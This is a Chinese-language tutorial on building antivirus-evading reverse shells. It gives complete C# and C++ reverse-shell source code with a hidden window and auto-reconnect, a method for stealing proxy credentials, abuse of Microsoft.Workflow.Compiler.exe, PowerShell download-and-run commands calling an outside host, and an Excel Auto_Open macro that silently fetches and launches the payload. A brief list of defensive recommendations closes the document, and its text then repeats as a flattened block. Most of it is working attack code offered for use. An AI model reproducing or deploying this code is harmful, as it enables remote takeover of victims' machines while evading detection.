利用C++和C#绕过AV检测
字数 1416 2025-08-27 12:33:30

利用C++和C#绕过AV检测的技术教学文档

1. 简介

本文详细介绍了多种使用C++和C#编写反向shell并绕过杀毒软件(AV)检测的技术方法。这些技术在2018年时能够有效绕过主流杀毒软件的检测,包括Windows Defender。

2. C#简单反向Shell

2.1 基本实现

使用C#编写简单的反向shell程序,通过套接字连接并在受害者机器上启动cmd.exe:

// 示例代码结构(简化版)
using System;
using System.Diagnostics;
using System.Net.Sockets;
using System.IO;

class ReverseShell
{
    static void Main()
    {
        using(TcpClient client = new TcpClient("攻击者IP", 端口))
        {
            using(Stream stream = client.GetStream())
            {
                using(StreamReader reader = new StreamReader(stream))
                {
                    using(StreamWriter writer = new StreamWriter(stream))
                    {
                        Process cmd = new Process();
                        cmd.StartInfo.FileName = "cmd.exe";
                        cmd.StartInfo.RedirectStandardInput = true;
                        cmd.StartInfo.RedirectStandardOutput = true;
                        cmd.StartInfo.UseShellExecute = false;
                        cmd.Start();
                        
                        writer.AutoFlush = true;
                        
                        while(!reader.EndOfStream)
                        {
                            string input = reader.ReadLine();
                            cmd.StandardInput.WriteLine(input);
                            string output = cmd.StandardOutput.ReadToEnd();
                            writer.WriteLine(output);
                        }
                    }
                }
            }
        }
    }
}

2.2 编译方法

使用VSCode和C#插件编译:

dotnet build -r win-x64

2.3 特点

  • 简单直接
  • 无持久性
  • 无隐藏性
  • cmd窗口对用户可见
  • 一端关闭连接即断开

2.4 检测结果

  • Windows Defender未检测到威胁
  • 当时主流AV均未标记为恶意

3. C++反向Shell(带持久性)

3.1 代码特点

基于@NinjaParanoid的代码实现,具有以下优点:

  1. 通过while循环实现5秒自动重连
  2. 隐藏cmd窗口
  3. 支持参数传递(可动态改变攻击者IP)

3.2 关键代码结构

#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024

void ReverseShell(const char* C2Server, int C2Port) {
    while(true) {
        Sleep(5000);
        
        SOCKET mySocket;
        sockaddr_in addr;
        WSADATA version;
        WSAStartup(MAKEWORD(2,2), &version);
        
        mySocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
        addr.sin_family = AF_INET;
        addr.sin_addr.s_addr = inet_addr(C2Server);
        addr.sin_port = htons(C2Port);
        
        if(WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR) {
            closesocket(mySocket);
            WSACleanup();
            continue;
        }
        
        char RecvData[DEFAULT_BUFLEN];
        memset(RecvData, 0, sizeof(RecvData));
        int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
        
        if(RecvCode <= 0) {
            closesocket(mySocket);
            WSACleanup();
            continue;
        }
        
        STARTUPINFO sinfo;
        PROCESS_INFORMATION pinfo;
        memset(&sinfo, 0, sizeof(sinfo));
        sinfo.cb = sizeof(sinfo);
        sinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
        sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)mySocket;
        sinfo.wShowWindow = SW_HIDE;
        
        CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
        WaitForSingleObject(pinfo.hProcess, INFINITE);
        
        CloseHandle(pinfo.hProcess);
        CloseHandle(pinfo.hThread);
        memset(RecvData, 0, sizeof(RecvData));
    }
}

int main(int argc, char** argv) {
    if(argc == 3) {
        ReverseShell(argv[1], atoi(argv[2]));
    } else {
        ReverseShell("默认攻击者IP", 默认端口);
    }
    return 0;
}

3.3 特点

  • 后台进程自动重连
  • 无可见窗口
  • 支持参数化配置
  • 当时主流AV未检测到威胁

4. 使用代理凭据反弹C# Shell

4.1 技术原理

  1. 从Credential Manager dump代理凭据(无需管理员权限)
  2. Base64编码凭据
  3. 将凭据插入代理授权连接

4.2 实现要点

  • 需要目标公司代理IP/PORT
  • 依赖Credential Manager中保存的凭据
  • 失败率高(若无保存凭据则失败)
  • 当时可绕过企业AV检测

5. 利用Microsoft.Workflow.Compiler.exe执行C#代码

5.1 技术背景

利用Microsoft.Workflow.Compiler.exe服务执行未签名代码的技术。

5.2 实现步骤

  1. 创建REV.txt文件(XOML结构):
<Workflow>
    <Sequential>
        <Code x:TypeArguments="x:String" Execute="<![CDATA[
            // 此处为C#反向Shell代码
        ]]>" />
    </Sequential>
</Workflow>
  1. 创建Rev.Shell文件(包含完整的C#反向Shell代码)

  2. 执行命令:

C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

5.3 PowerShell自动化实现

powershell -command "&{(New-Object Net.WebClient).DownloadFile('https://example.com/REV.txt','.\REV.txt')}" && 
powershell -command "&{(New-Object Net.WebClient).DownloadFile('https://example.com/Rev.Shell','.\Rev.Shell')}" && 
C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

5.4 特点

  • 利用合法微软工具执行恶意代码
  • 创建临时DLL可能被检测
  • 当时可绕过AV对PowerShell的监控

6. Excel宏结合PowerShell和C#

6.1 实现方式

在Excel宏中嵌入上述PowerShell命令:

Sub Auto_Open()
    Dim str As String
    str = "powershell -command ""&{(New-Object Net.WebClient).DownloadFile('https://example.com/REV.txt','.\REV.txt')}"" && " & _
          "powershell -command ""&{(New-Object Net.WebClient).DownloadFile('https://example.com/Rev.Shell','.\Rev.Shell')}"" && " & _
          "C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell"
    Shell str, vbHide
End Sub

6.2 检测结果

  • 当时AV仅检测到宏启动PowerShell的行为
  • 未检测实际恶意负载
  • 通过混淆可进一步提高绕过率

7. 技术总结与防御建议

7.1 技术趋势

  • 越来越多的攻击转向使用C#或C#与PowerShell组合
  • 利用合法系统工具(如Microsoft.Workflow.Compiler.exe)执行恶意代码
  • 结合多种技术提高绕过率

7.2 防御建议

  1. 应用程序白名单:限制非授权程序执行
  2. 监控异常进程行为:如cmd.exe异常网络连接
  3. 限制PowerShell使用:仅允许签名脚本执行
  4. 系统工具监控:关注Microsoft.Workflow.Compiler.exe等工具的异常使用
  5. 凭证管理:避免在Credential Manager中存储敏感凭据
  6. 网络流量分析:检测异常外连行为
  7. 多层次防御:结合行为检测和签名检测

7.3 攻击演进

这些技术展示了攻击者如何:

  • 从简单的脚本转向编译型语言
  • 利用系统信任的合法工具
  • 结合多种技术提高隐蔽性
  • 针对企业特定环境(如代理)定制攻击

通过理解这些技术原理,防御者可以更好地构建防御体系,检测和预防类似攻击。

利用C++和C#绕过AV检测的技术教学文档 1. 简介 本文详细介绍了多种使用C++和C#编写反向shell并绕过杀毒软件(AV)检测的技术方法。这些技术在2018年时能够有效绕过主流杀毒软件的检测,包括Windows Defender。 2. C#简单反向Shell 2.1 基本实现 使用C#编写简单的反向shell程序,通过套接字连接并在受害者机器上启动cmd.exe: 2.2 编译方法 使用VSCode和C#插件编译: 2.3 特点 简单直接 无持久性 无隐藏性 cmd窗口对用户可见 一端关闭连接即断开 2.4 检测结果 Windows Defender未检测到威胁 当时主流AV均未标记为恶意 3. C++反向Shell(带持久性) 3.1 代码特点 基于@NinjaParanoid的代码实现,具有以下优点: 通过while循环实现5秒自动重连 隐藏cmd窗口 支持参数传递(可动态改变攻击者IP) 3.2 关键代码结构 3.3 特点 后台进程自动重连 无可见窗口 支持参数化配置 当时主流AV未检测到威胁 4. 使用代理凭据反弹C# Shell 4.1 技术原理 从Credential Manager dump代理凭据(无需管理员权限) Base64编码凭据 将凭据插入代理授权连接 4.2 实现要点 需要目标公司代理IP/PORT 依赖Credential Manager中保存的凭据 失败率高(若无保存凭据则失败) 当时可绕过企业AV检测 5. 利用Microsoft.Workflow.Compiler.exe执行C#代码 5.1 技术背景 利用Microsoft.Workflow.Compiler.exe服务执行未签名代码的技术。 5.2 实现步骤 创建REV.txt文件(XOML结构): 创建Rev.Shell文件(包含完整的C#反向Shell代码) 执行命令: 5.3 PowerShell自动化实现 5.4 特点 利用合法微软工具执行恶意代码 创建临时DLL可能被检测 当时可绕过AV对PowerShell的监控 6. Excel宏结合PowerShell和C# 6.1 实现方式 在Excel宏中嵌入上述PowerShell命令: 6.2 检测结果 当时AV仅检测到宏启动PowerShell的行为 未检测实际恶意负载 通过混淆可进一步提高绕过率 7. 技术总结与防御建议 7.1 技术趋势 越来越多的攻击转向使用C#或C#与PowerShell组合 利用合法系统工具(如Microsoft.Workflow.Compiler.exe)执行恶意代码 结合多种技术提高绕过率 7.2 防御建议 应用程序白名单:限制非授权程序执行 监控异常进程行为:如cmd.exe异常网络连接 限制PowerShell使用:仅允许签名脚本执行 系统工具监控:关注Microsoft.Workflow.Compiler.exe等工具的异常使用 凭证管理:避免在Credential Manager中存储敏感凭据 网络流量分析:检测异常外连行为 多层次防御:结合行为检测和签名检测 7.3 攻击演进 这些技术展示了攻击者如何: 从简单的脚本转向编译型语言 利用系统信任的合法工具 结合多种技术提高隐蔽性 针对企业特定环境(如代理)定制攻击 通过理解这些技术原理,防御者可以更好地构建防御体系,检测和预防类似攻击。